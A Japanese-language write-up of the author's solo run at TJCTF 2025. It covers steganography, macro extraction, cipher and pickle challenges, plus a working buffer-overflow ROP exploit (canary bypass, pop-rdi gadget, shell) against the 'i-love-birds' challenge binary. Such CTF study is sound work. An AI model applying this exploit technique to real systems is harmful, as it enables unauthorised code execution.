TJCTF 2025 Writeup
TJCTF にソロで参加したので振り返り用の Writeup.
Web 問題をもう少し頑張りたい.
フラグ形式・禁止事項等 (抜粋)
- フラグ形式は以下の通り
tjctf{}
discord
- discord の announcement ページにフラグがあった
guess-my-number
- random で生成された 1 から 1000 の範囲内の数字を当てるゲーム
- 毎回の試行で提示した数字が答えより大きいか小さいかがわかり, 10 回までの試行で正しい数字を当てる必要がある
- 二分探索は
log n
オーダーで計算できるため, 高確率で10 回以内に正しい数字を当てられる pwntools
を用いた以下のコードを実行しフラグを獲得
from pwn import * host = "tjc.tf" port = 31700 sh = remote(host, port) guess = 500 diff = 500 flag = "" for i in range(10): prompt = sh.recvuntil("1 to 1000:") print(prompt.decode()) print("send:", guess) sh.sendline(str(guess).encode()) ans = sh.recvline() ans_list = ans.decode().strip().split() if ans_list[0] == "You": flag = " ".join(ans_list) break diff = diff // 2 if ans_list[-1] == "high": guess -= diff else: guess += diff print("flag:", flag) sh.interactive()
hidden-message
- png ファイルが渡される (ビュワーで閲覧しても何の変哲もない)
- binwalk を用いて解析を行ってみると,
Targa image data
が埋め込まれている
binwalk -D=".*" suspicious.png
出てきた TGA ファイルを読み込むことはできなかったが, おそらく png イメージにステガノグラフィでフラグが埋め込まれていると考えられる
zsteg
を用いて解析
zsteg suspicious.png
- フラグを獲得できた
deep-layers
- png ファイルが配布される
exiftool
を用いて解析
exiftool chall.png
- Password というフィールドに Base64 らしき文字列が格納されていた
--- Interlace : Noninterlaced Password : cDBseWdsMHRwM3NzdzByZA== Warning : [minor] Trailer data after PNG IEND chunk Image Size : 1x1 Megapixels : 0.000001
- binwalk を用いて解析
binwalk -D=".*" chall.png
- パスワード付き zip ファイルを発見
- exif にあったパスワードを Base64 デコードしたうえで入力するとフラグを獲得できた
guess-login
- エクセルファイルが配布される
oletools
を用いて解析するとマクロを含んでいることが確認できた (oletools
の使い方は 過去の記事を参照のこと)olevba
でマクロを抽出
olevba chall.xlsm --reveal > vbascript.txt
- 以下のようなマクロが出てきた
Sub CheckFlag() Dim guess As String guess = ActiveSheet.Shapes("TextBox 1").TextFrame2.TextRange.Text If Len(guess) < 7 Then MsgBox "Incorrect" Exit Sub End If If Left(guess, 6) <> "tjctf{" Or Right(guess, 1) <> "}" Then MsgBox "Flag must start with tjctf{ and end with }" Exit Sub End If Dim inner As String inner = Mid(guess, 7, Len(guess) - 7) Dim expectedCodes As Variant expectedCodes = Array(98, 117, 116, 95, 99, 52, 110, 95, 49, 116, 95, 114, 117, 110, 95, 100, 48, 48, 109) Dim i As Long If Len(inner) <> (UBound(expectedCodes) - LBound(expectedCodes) + 1) Then MsgBox "Incorrect" Exit Sub End If For i = 1 To Len(inner) If Asc(Mid(inner, i, 1)) <> expectedCodes(i - 1) Then MsgBox "Incorrect" Exit Sub End If Next i MsgBox "Flag correct!" End Sub
- おそらく
expectedCodes
がフラグの中身になっているので, それぞれの数字を対応する ASCII 文字に戻すとフラグ獲得出来た
i-love-birds
64 bit バイナリと c のコードが配布される
pwntools の checksec を行うと PIE が無効 (アドレスが相対化されていない) であることがわかった
ソースコードを見ると gets 関数が使われており, Buffer Overflow 脆弱性が存在する
buf 変数の前に canary となる変数が指定されていることから, win 関数を正しく動作させるためには以下の点が必要であると考えられる
canary を崩さないように Buffer Overflow を行い, main 関数のリターン関数を書き換え
win 関数を正しい引数 (
0xa1b2c3d4
) を与えたうえで起動ソースコードを見ると, gadget という名前の ROP (Return Oriented Programming) のガジェットに使えそうな関数が存在
以上を踏まえペイロードは以下の通りになる (pwntools の使い方)
payload = "a".encode() * 76 # padding payload += p32(0xdeadbeef) # canary payload += "a".encode() * 8 # padding payload += p64(0x4011c0) # pop rdi (gadget) payload += p64(0xa1b2c3d4) # rdi value (secret) payload += p64(0x616161616) # dummy payload += p64(0x4011c4) # win function
- 上三行は canary を保持したまま main 関数のリターンアドレス (rbp の位置) までのパディングを行う
- gadget 関数を objdump を用いて逆アセンブルすると以下のようになる
4011b6: f3 0f 1e fa endbr64 4011ba: 55 push rbp 4011bb: 48 89 e5 mov rbp,rsp 4011be: 6a 69 push 0x69 4011c0: 5f pop rdi 4011c1: 90 nop 4011c2: 5d pop rbp 4011c3: c3 ret
pop rdi 以下において pop rbp, ret がある
pop rbp で取り出されるデータに対応する 64 ビットのダミー値を加えてあげることで, 引数である rdi に secret の値を格納したうえで win 関数を呼び出すことができる
最終的な Exploit コードは以下の通り
from pwn import * host = $HOST port = $PORT sh = remote(host, port) prompt = sh.recvuntil("wrong!") print(prompt.decode()) payload = "a".encode() * 76 # padding payload += p32(0xdeadbeef) # canary payload += "a".encode() * 8 # padding payload += p64(0x4011c0) # pop rdi (gadget) payload += p64(0xa1b2c3d4) # rdi value (secret) payload += p64(0x616161616) # dummy payload += p64(0x4011c4) # win function print("send payload!") sh.sendline(payload) sh.interactive()
- 実行すると無事
/bin/sh
を起動できて, フラグを獲得できた
bacon-bits
- ベーコン暗号を解読すればよいらしい
- Python コードを読むと, フラグ文字列のアルファベット部分についてそれぞれ 01 の数字 5 文字で表された暗号に変換し, 1 なら text (flag とは別の文字列) を大文字で, 0 なら小文字で暗号文に追加するという処理が行われている (if 文を三項間演算子のように用いている)
out.txt
には上記プロセスで生成された暗号文をそれぞれ 16 進数表記にした際に 13 戻して出力されている- 以上より,
out.txt
の各文字を 16 進数表記で 13 進めた文字列について, 5 文字ごとに大文字なら 1, 小文字なら 0 とした暗号文にした上でbaconian
の対応する文字に直せばよいことが分かる - ベーコン暗号で i と j は同じ数字があてがわれている点に注意しながらフラグ文字列となりうる候補を列挙するコードを実行する
def rec_ij(flag, seq, i): if i == len(flag) - 1: if flag[i] == "i": print(seq + "i") print(seq + "j") else: print(seq + flag[i]) else: if flag[i] == "i": rec_ij(flag, seq+"i", i+1) rec_ij(flag, seq+"j", i+1) else: rec_ij(flag, seq+flag[i], i+1) baconian = { 'a': '00000', 'b': '00001', 'c': '00010', 'd': '00011', 'e': '00100', 'f': '00101', 'g': '00110', 'h': '00111', 'i': '01000', 'j': '01000', 'k': '01001', 'l': '01010', 'm': '01011', 'n': '01100', 'o': '01101', 'p': '01110', 'q': '01111', 'r': '10000', 's': '10001', 't': '10010', 'u': '10011', 'v': '10011', 'w': '10100', 'x': '10101', 'y': '10110', 'z': '10111'} with open("out.txt", "r") as f: txt = list(f.read()) ciphertext = "" for ch in txt: ciphertext += chr(ord(ch)+13) cih_list = list(ciphertext) flag = "" for i in range(len(cih_list)//5): num = "" for j in range(5): if cih_list[i*5+j].islower(): num += "0" else: num += "1" for key in baconian.keys(): if baconian[key] == num: if key == "j": continue else: flag += key rec_ij(flag, "", 0)
- 先頭が tjctf となる文字列についていくつか試したところフラグが発見できた (一つに断定はたぶんできないので複数のフラグを試すことが前提の問題だったっぽい)
serpent
- Python のオブジェクトファイルである pickle ファイルが渡される
- 読み込んでみると ast モジュール (抽象構文木) が入っていたため, ソースコードに復元する
import pickle import ast with open("ast_dump.pickle", "rb") as f: ast_obj = pickle.load(f) source = ast.unparse(ast_obj) with open("deced.py", "w") as df: df.write(source)
- 出てきたコードの中にはたくさんのフラグっぽい文字列があった
- 問題文に一番深いレイヤーに行けと書かれていたため, 一番深いレイヤーのフラグらしき文字列を入力すると正しいものだった